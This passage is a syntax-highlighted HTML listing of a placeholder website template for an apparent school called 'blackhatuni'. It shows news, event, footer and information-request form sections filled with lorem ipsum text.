</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pic&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;121&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;images/3.png&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">h3</span>&gt;Awesome results of our students&lt;/<span style="color:#f92672">h3</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;Vero eos et accusamus et iusto odio dignissimos ducimus blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">&lt;!-- / container --&gt;</span>
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">section</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;news&#34;</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">h2</span>&gt;Latest news&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pic&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;images/1.png&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">h4</span>&gt;Omnis iste natus error sit voluptatem accusantium &lt;/<span style="color:#f92672">h4</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;date&#34;</span>&gt;14 APR 2014, Jason Bang&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores (...)&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;more&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Read more&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pic&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;images/1_1.png&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">h4</span>&gt;Omnis iste natus error sit voluptatem accusantium &lt;/<span style="color:#f92672">h4</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;date&#34;</span>&gt;14 APR 2014, Jason Bang&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores (...)&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;more&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Read more&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn-holder&#34;</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;See archival news&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">&lt;!-- / container --&gt;</span>
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">section</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;events&#34;</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">h2</span>&gt;Upcoming events&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;current-date&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;April&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;date&#34;</span>&gt;15&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;more&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Read more&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;current-date&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;April&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;date&#34;</span>&gt;17&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;more&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Read more&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;current-date&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;April&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;date&#34;</span>&gt;25&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;more&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Read more&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;current-date&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;April&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;date&#34;</span>&gt;29&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;more&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Read more&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn-holder&#34;</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn blue&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;See all upcoming events&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">&lt;!-- / container --&gt;</span>
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#fancy&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info-request&#34;</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;holder&#34;</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;title&#34;</span>&gt;Request information&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span>&gt;Do you have some questions? Fill the form and get an answer!&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;arrow&#34;</span>&gt;&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">footer</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;footer&#34;</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">article</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">h3</span>&gt;Contact&lt;/<span style="color:#f92672">h3</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;address&#34;</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;mail&#34;</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;contact@blackhatuni.com&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;phone last&#34;</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">article</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-2&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">h3</span>&gt;Forum topics&lt;/<span style="color:#f92672">h3</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Omnis iste natus error sit&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Nam libero tempore cum soluta&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Totam rem aperiam eaque &lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Ipsa quae ab illo inventore veritatis &lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;last&#34;</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Architecto beatae vitae dicta sunt &lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">article</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-3&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">h3</span>&gt;Social media&lt;/<span style="color:#f92672">h3</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;Temporibus autem quibusdam et aut debitis aut rerum necessitatibus saepe.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;facebook&#34;</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Facebook&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;google-plus&#34;</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Google+&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;twitter&#34;</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Twitter&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pinterest&#34;</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Pinterest&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">article</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-4&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">h3</span>&gt;Newsletter&lt;/<span style="color:#f92672">h3</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;Assumenda est omnis dolor repellendus temporibus autem quibusdam.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Email address...&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span>&gt;Subscribe&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">&lt;!-- / container --&gt;</span>
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">footer</span>&gt;
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">&lt;!-- / footer --&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fancy&#34;</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">h2</span>&gt;Request information&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;left&#34;</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">fieldset</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;mail&#34;</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Email address...&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span>&gt;&lt;/<span style="color:#f92672">fieldset</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">fieldset</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;name&#34;</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Name...&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span>&gt;&lt;/<span style="color:#f92672">fieldset</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">fieldset</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;subject&#34;</span>&gt;&lt;<span style="color:#f92672">select</span>&gt;&lt;<span style="color:#f92672">option</span>&gt;Choose subject...&lt;/<span style="color:#f92672">option</span>&gt;&lt;<span style="color:#f92672">option</span>&gt;Choose subject...&lt;/<span style="color:#f92672">option</span>&gt;&lt;<span style="color:#f92672">option</span>&gt;Choose subject...&lt;/<span style="color:#f92672">option</span>&gt;&lt;/<span style="color:#f92672">select</span>&gt;&lt;/<span style="color:#f92672">fieldset</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">div</span>&gt;
